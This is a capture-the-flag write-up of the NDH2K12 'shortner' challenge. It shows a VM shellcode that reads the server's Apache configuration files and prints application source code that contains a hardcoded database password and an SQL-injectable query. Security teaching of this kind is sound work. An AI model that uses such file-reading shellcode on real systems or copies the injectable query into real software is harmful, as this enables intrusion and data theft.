NDH2K12 Prequals: shortner writeup
From: Jessica <jessica@megacortek.com>
To: LSE <lse@megacortek.com>
Subject: New email from our contact
Attachments : executable2.ndh
Thank you again for your help, our technical staff has a pretty good
overview of the new device designed by Sciteek. Your account will be
credited with $500.
You did work hard enough to impress me, your help is still more than
welcome, you will get nice rewards. Our anonymous guy managed to get access
to another bunch of files. Here is one of his emails:
---
Hi there, see attached file for more information. It was found on
http://sci.nuitduhack.com/EgZ8sv12.
---
Maybe you can get further than him by exploiting this website. We also
need to get as much information as possible about the file itself. If you
succeed, you will be rewarded with $2500 for the ndh file and $1000 for the
website. Please use "Sciteek shortener" and "strange binary file #2"
titles.
Regards,
Jessica.
Let’s ignore the file at the given URL (this is for another writeup!) and work on the URL shortener website mentioned in this email: sci.nuitduhack.com.
After experimenting a bit, we noticed several interesting points:
- The short URL is apparently random, and trying to access a non-existent one give us “An unknown error occurred. Please try later.”
- If no short URL is provided, the following error message is displayed: “No URL alias found in URL”
We looked at the web server informations to get more data on where to start attacking. This is the HTTP response to an invalid short URL:
HTTP/1.1 200 WSGI-GENERATED
Server: nginx
Date: Sat, 24 Mar 2012 21:40:23 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
The WSGI-GENERATED
string informs us that the website is coded in Python
using the WSGI interface to communicate with the web server. Also, even though
nginx is mentioned in the HTTP response, sending some erroneous queries shows
us that in fact nginx is only used as a reverse proxy in front of an Apache 2
server:
$ curl -vvv http://sci.nuitduhack.com/%
* About to connect() to sci.nuitduhack.com port 80 (#0)
* Trying 176.34.97.189...
* connected
* Connected to sci.nuitduhack.com (176.34.97.189) port 80 (#0)
> GET /% HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-unknown-linux-gnu) libcurl/7.24.0
OpenSSL/1.0.0g zlib/1.2.6 libssh2/1.3.0
> Host: sci.nuitduhack.com
> Accept: */*
>
< HTTP/1.1 400 Bad Request
< Server: nginx
< Date: Sat, 24 Mar 2012 21:42:06 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 226
< Connection: keep-alive
< Vary: Accept-Encoding
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
* Connection #0 to host sci.nuitduhack.com left intact
We knew that we could use the server running on port 4004 to access the filesystem through a shellcode running in the VM. We used that to confirm that an Apache 2 server was installed and running on the server, using the following shellcode:
MOVB R0, #0x2
MOVL R1, :filename
MOVB R2, #0x0
SYSCALL ; open(filename, O_RDONLY)
MOV R7, R0
.label :loop
MOVB R0, #0x03
MOV R1, R7
MOV R2, SP
MOVB R3, #0x01
SYSCALL ; read(fd, sp, 1)
TEST R0, R0
JNZ :read_ok
END
.label :read_ok
MOVB R0, #0x04
MOVB R1, #0x01
MOV R2, SP
MOVB R3, #0x01
SYSCALL ; write(stdout, sp, 1)
JMPS :loop
.label :filename
.ascii "/etc/apache2/apache2.conf"
Using this shellcode we were able to read /etc/apache2/apache2.conf
, as well
as the default vhost (/etc/apache2/sites-enabled/default
) and the Apache 2
PID file (/var/run/apache2.pid
). We then tried to access the URL shortener
vhost. After a few tries and a lot of luck, we found out that it was named
shortner
instead of shortener
. Here is its virtual host configuration:
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName sci.nuitduhack.com
DocumentRoot /var/www/shortner
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
WSGIScriptAlias / /var/www/shortner/app.py
<Directory /var/www/shortner>
Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from All
</Directory>
</VirtualHost>
We then read the application source code, and after a few hops we got this file which handles the HTTP queries:
from apwal import *
from apwal.core.exceptions import ExternalRedirect
from apwal.http import HttpResponse,HttpResponseRedirect
from MySQLdb import *
user = 'shortner'
passwd = 'TzuFsms8'
db = 'shortner'
class ErrorOccurred(Exception):
def __init__(self):
Exception.__init__(self)
class Shortner:
def __init__(self):
# connect to our database
self.conn = connect(host='localhost',user=user,
passwd=passwd,db=db,port=3306)
def getUrlFromAlias(self, alias):
cur = self.conn.cursor()
cur.execute("SELECT url FROM `shortner` WHERE alias='%s'" % alias)
res = cur.fetchone()
cur.close()
if res:
return res[0]
return None
def close(self):
self.conn.close()
@main
class URLShortner(Pluggable):
def getRealUrlFromAlias(self, alias):
s = Shortner()
url = s.getUrlFromAlias(alias)
s.close()
return url
def error(self):
return HttpResponse('An unknown error occurred. Please try later.')
@bind('/{id:(.+)}?')
def index(self,urlparams=None):
if urlparams and ('id' in urlparams) and urlparams['id']:
if urlparams['id']=='mMVzJ8Qj/flag.txt':
return HttpResponse('b92b5e7094c7ffb35a526c9eaa6fab0a')
elif urlparams['id']=='EgZ8sv12':
return HttpResponse(
open('/var/www/shortner/crackme2.ndh','rb').read()
)
else:
try:
if 'BENCHMARK' in urlparams['id'].upper():
raise ErrorOccurred()
r = self.getRealUrlFromAlias(urlparams['id'])
if r:
return HttpResponseRedirect(r)
raise ErrorOccurred()
except ProgrammingError,e:
return self.error()
except ErrorOccurred,e:
return self.error()
else:
return HttpResponse(
'<html><head><title>Sciteek URL shortener</title></head>'
'<body><h2>No URL alias found in URL !</h2></body></html>'
)
According to the code, it looks like we should have been able to inject SQL
through the short URL! Indeed, the query parameter is not escaped before being
interpolated with %
in the query (a correct way to do it would have been to
remove the manual interpolation and let the Python MySQL client lib do it
itself!). But there is no need to do that, the flag is already present in the
code source: b92b5e7094c7ffb35a526c9eaa6fab0a
.
LSE blog: teaching you how to pwn web challenges without doing dirty web exploits!